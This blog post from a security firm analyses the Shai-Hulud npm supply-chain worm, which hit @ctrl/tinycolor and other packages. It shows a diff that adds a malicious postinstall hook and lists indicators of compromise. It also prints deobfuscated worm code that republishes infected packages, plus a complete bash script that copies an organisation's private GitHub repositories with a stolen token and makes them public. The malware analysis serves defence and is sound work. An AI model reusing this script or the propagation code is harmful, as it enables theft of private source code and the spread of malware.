npm supply chain attacks continue. This time targeting @ctrl/tinycolor
and multiple other npm packages with credential stealer malware. In this blog, we will analyze the attack and its impact on the npm ecosystem. We will also look at common attack patterns that are being used to target maintainers.
Lately we have observed multiple high-profile software supply chain attacks against the npm ecosystem:
These attacks target packages collectively with over 2 BILLION weekly downloads. While the payloads used in these attacks have questionable sophistication levels, the continued success of malicious actors in breaching highly popular open source packages exposes risks in the open source software supply chain, especially for software development teams shipping professional software.
There are, however, common patterns that are observed in these attacks:
For example, @ctrl/tinycolor
did not have a release since over a year.
Credential Harvesting:
gh auth token
commandwebhook.site
URLRepository Compromise:
Shai-Hulud Migration
.github/workflows
directories during the migration process to avoid detectionSelf-Propagating Worm Behavior:
.npmrc
filesbundle.js
payload, and adds postinstall scriptsTo protect the developer community against malicious packages that are flagged by SafeDep, we built free to use SafeDep GitHub App. It can be installed with zero configuration and will scan every pull request for malicious packages.
SafeDep open source tools especially vet and pmg can help protect developers from malicious packages and other open source software supply chain attacks.
The following is the list of affected package versions as published by Socket Security:
We will use @ctrl/[email protected] as the malicious sample for our analysis. SafeDep’s automated malicious package analysis engine flagged this version based on post-install script and signature match.
Field | Value |
---|---|
Package | @ctrl/[email protected] |
Status | Malicious |
Analyzed at | 2025-09-15T20:14:35Z |
Source | https://registry.npmjs.org/@ctrl/deluge/-/deluge-7.2.2.tgz |
SHA256 | bc18414929992e8e8d2211f9c51ebc7241294a1af3cfdbdd5ca417974b2dac0b |
We compared version 7.2.0
and 7.2.2
to identify the malicious changes. The obvious difference was the size of the package.
❯ du -sh * 12K deluge-7.2.0.tgz2.0M deluge-7.2.2.tgz
Subsequently, we looked at package.json
changes and observed a newly introduced postinstall
script in the malicious version.
❯ diff -u package-7.2.0/package.json package-7.2.2/package.json--- package-7.2.0/package.json 1985-10-26 13:45:00+++ package-7.2.2/package.json 2025-09-16 01:43:28@@ -1,6 +1,6 @@ { "name": "@ctrl/deluge",- "version": "7.2.0",+ "version": "7.2.2", "description": "TypeScript api wrapper for deluge using got", "license": "MIT",@@ -25,7 +25,8 @@ "build:docs": "typedoc", "test": "vitest run", "test:watch": "vitest",- "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml"+ "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",+ "postinstall": "node bundle.js" }, "dependencies": { "@ctrl/magnet-link": "^4.0.2",@@ -83,4 +84,4 @@ "importOrderSeparation": true, "importOrderSortSpecifiers": false }-}+}
Looking at some of the strings in bundle.js
, it appears to be packed with webpack.
/*! For license information please see bundle.js.LICENSE.txt */import{createRequire as __WEBPACK_EXTERNAL_createRequire}from"node:module";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308])
Observed malicious payload in bundle.js
:
gh auth token
with the current user’s credentialsShai-Hulud Migration
webhook.site
URLSelf-replicating worm like behavior
The bundle.js
payload has self-replicating worm-like behavior to infect npm
packages that are accessible to the authenticated user. To achieve this, the payload does the following:
.npmrc
filehttps://registry.npmjs.org/-/whoami
to validate the token and retrieve the usernamebundle.js
payload, and adds a postinstall script to package.json
npm publish ...
commandExample code:
async searchPackages(t, r = 20) { const n = `/-/v1/search?text=${encodeURIComponent(t)}&size=${r}`, F = `${this.baseUrl}${n}`; try { const t = await fetch(F, { method: "GET", headers: this.getHeaders(!1) }); if (!t.ok) throw new Error(`HTTP ${t.status}: ${t.statusText}`); return (await t.json()).objects || [] } catch (t) { return console.error("Error searching packages:", t), [] }}
Update Package to inject bundle.js and modify package.json
async updatePackage(t) { try { const ie = await fetch(t.tarballUrl, { method: "GET", headers: { "User-Agent": this.userAgent, Accept: "*/*", "Accept-Encoding": "gzip, deflate, br" } }); // [...] try { await re.promises.writeFile(ce, se), await te(`gzip -d -c ${ce} > ${le}`), await te(`tar -xf ${le} -C ${ae} package/package.json`); const t = ne.join(ae, "package", "package.json"), r = await re.promises.readFile(t, "utf-8"), n = JSON.parse(r); if (n.version) { const t = n.version.split("."); if (3 === t.length) { const r = parseInt(t[0]), F = parseInt(t[1]), te = parseInt(t[2]); isNaN(te) || (n.version = `${r}.${F}.${te+1}`) } } n.scripts || (n.scripts = {}), n.scripts.postinstall = "node bundle.js", await re.promises.writeFile(t, JSON.stringify(n, null, 2)), await te(`tar -uf ${le} -C ${ae} package/package.json`); const F = process.argv[1]; if (F && await re.promises.access(F).then(() => !0).catch(() => !1)) { const t = ne.join(ae, "package", "bundle.js"), r = await re.promises.readFile(F); await re.promises.writeFile(t, r), await te(`tar -uf ${le} -C ${ae} package/bundle.js`) } await te(`gzip -c ${le} > ${ue}`), await te(`npm publish ${ue}`), await re.promises.rm(ae, { recursive: !0, force: !0 }) } catch (t) { // [...] } } catch (t) { throw new Error(`Failed to update package: ${t}`) }}
Impact
At the time of writing, at least 650+ repositories appear to be affected by this attack, as observed in a GitHub search.
bundle.js
SHA2 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
Shai-Hulud Migration
examplehxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
Manually formatted shell script from bundle.js
that exfiltrates private repositories using a compromised GitHub token and makes them public with the description Shai-Hulud Migration
:
#!/bin/bash
#-----------------------------------------------------------------------# This script is designed to migrate all private and internal GitHub# repositories from a source organization to a target user's account.## It performs the following actions:# 1. Fetches all non-archived private and internal repositories from the SOURCE_ORG.# 2. For each repository, it creates a new private repository under the TARGET_USER.# 3. It then mirrors the original repository to the new one.# 4. Crucially, it removes the .github/workflows directory during migration.# 5. After a successful migration, it makes the new repository PUBLIC.## Usage:# ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>## Arguments:# SOURCE_ORG: The name of the GitHub organization to migrate from.# TARGET_USER: The GitHub username to migrate the repositories to.# GITHUB_TOKEN: A personal access token with 'repo' scope.#-----------------------------------------------------------------------
SOURCE_ORG=""TARGET_USER=""GITHUB_TOKEN=""PER_PAGE=100TEMP_DIR=""
# --- Argument Validation ---if [[ $# -lt 3 ]]; then echo "Error: Missing arguments." echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>" exit 1fi
SOURCE_ORG="$1"TARGET_USER="$2"GITHUB_TOKEN="$3"
if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then echo "Error: All three arguments are required." exit 1fi
# Create a temporary directory for cloning repositoriesTEMP_DIR="./temp$TARGET_USER"mkdir -p "$TEMP_DIR"TEMP_DIR=$(realpath "$TEMP_DIR")
# --- Function to make authenticated GitHub API calls ---github_api() { local endpoint="$1" local method="${2:-GET}" local data="${3:-}"
local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json")
if [[ "$method" != "GET" ]]; then curl_args+=("-X" "$method") fi
if [[ -n "$data" ]]; then curl_args+=("-H" "Content-Type: application/json" "-d" "$data") fi
curl "${curl_args[@]}" "https://api.github.com$endpoint"}
# --- Function to retrieve all repositories from an organization ---get_all_repos() { local org="$1" local page=1 local all_slugs="[]"
while true; do local response response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page")
local http_code="${response: -3}" local body="${response%???}"
if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then return 1 fi
local repos_count repos_count=$(echo "$body" | jq length)
if [[ "$repos_count" -eq 0 ]]; then break fi
local page_slugs page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]') all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add') ((page++)) done
echo "$all_slugs"}
# --- Function to create a new repository for the target user ---create_repo() { local repo_name="$1" local repo_data repo_data=$(cat <<EOF{ "name": "$repo_name", "description": "Shai-Hulud Migration", "private": true, "has_issues": false, "has_projects": false, "has_wiki": false}EOF )
local response response=$(github_api "/user/repos" "POST" "$repo_data")
local http_code="${response: -3}" local body="${response%???}"
if echo "$body" | jq -e '.name' >/dev/null 2>&1; then return 0 else # Handle secondary rate limits by sleeping if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then sleep 600 response=$(github_api "/user/repos" "POST" "$repo_data") http_code="${response: -3}" body="${response%???}" if echo "$body" | jq -e '.name' >/dev/null 2>&1; then return 0 fi fi return 1 fi}
# --- Function to make a repository public ---make_repo_public() { local repo_name="$1" local repo_data repo_data=$(cat <<EOF{ "private": false}EOF )
local response response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data") local http_code="${response: -3}" local body="${response%???}"
if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then return 0 else return 1 fi}
# --- Function to migrate a repository using git mirror ---migrate_repo() { local source_clone_url="$1" local target_clone_url="$2" local migration_name="$3" local repo_dir="$TEMP_DIR"
if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then return 1 fi
cd "$repo_dir/$migration_name" if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then cd - >/dev/null return 1 fi
# Temporarily convert to a regular repo to remove workflows git config --unset core.bare git reset --hard
# Remove workflows directory and commit the change if [[ -d ".github/workflows" ]]; then rm -rf .github/workflows git add -A git commit -m "Remove GitHub workflows directory" fi
# Convert back to a bare repo for mirroring git config core.bare true rm -rf *
if ! git push --mirror 2>/dev/null; then cd - >/dev/null return 1 fi
cd - >/dev/null rm -rf "$repo_dir/$migration_name" return 0}
# --- Function to process the list of repositories ---process_repositories() { local repos="$1" local total_repos total_repos=$(echo "$repos" | jq length)
if [[ "$total_repos" -eq 0 ]]; then return 0 fi
local success_count=0 local failure_count=0
for i in $(seq 0 $((total_repos - 1))); do local repo repo=$(echo "$repos" | jq -r ".[$i]") local migration_name="${repo//\//-}-migration"
local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git" local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"
echo "Migrating $repo to $TARGET_USER/$migration_name..."
if create_repo "$migration_name"; then if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then if make_repo_public "$migration_name"; then echo " -> Success: Migrated and made public." ((success_count++)) else # Still counts as a success if migration worked but public toggle failed echo " -> Warning: Migrated but failed to make public." ((success_count++)) fi else echo " -> Error: Migration failed." ((failure_count++)) fi else echo " -> Error: Could not create target repository." ((failure_count++)) fi done
echo "-------------------------------------" echo "Migration Complete." echo "Successful: $success_count" echo "Failed: $failure_count" echo "-------------------------------------"
return $failure_count}
# --- Main execution block ---main() { # Check for required command-line tools for tool in curl jq git; do if ! command -v "$tool" &> /dev/null; then echo "Error: Required tool '$tool' is not installed." exit 1 fi done
echo "Fetching repositories from $SOURCE_ORG..." local repos if ! repos=$(get_all_repos "$SOURCE_ORG"); then echo "Error: Failed to fetch repositories from $SOURCE_ORG." exit 1 fi
process_repositories "$repos"}
# Run main function with provided argumentsmain "$@"
Join thousands of developers and organizations who trust SafeDep to protect their software supply chain.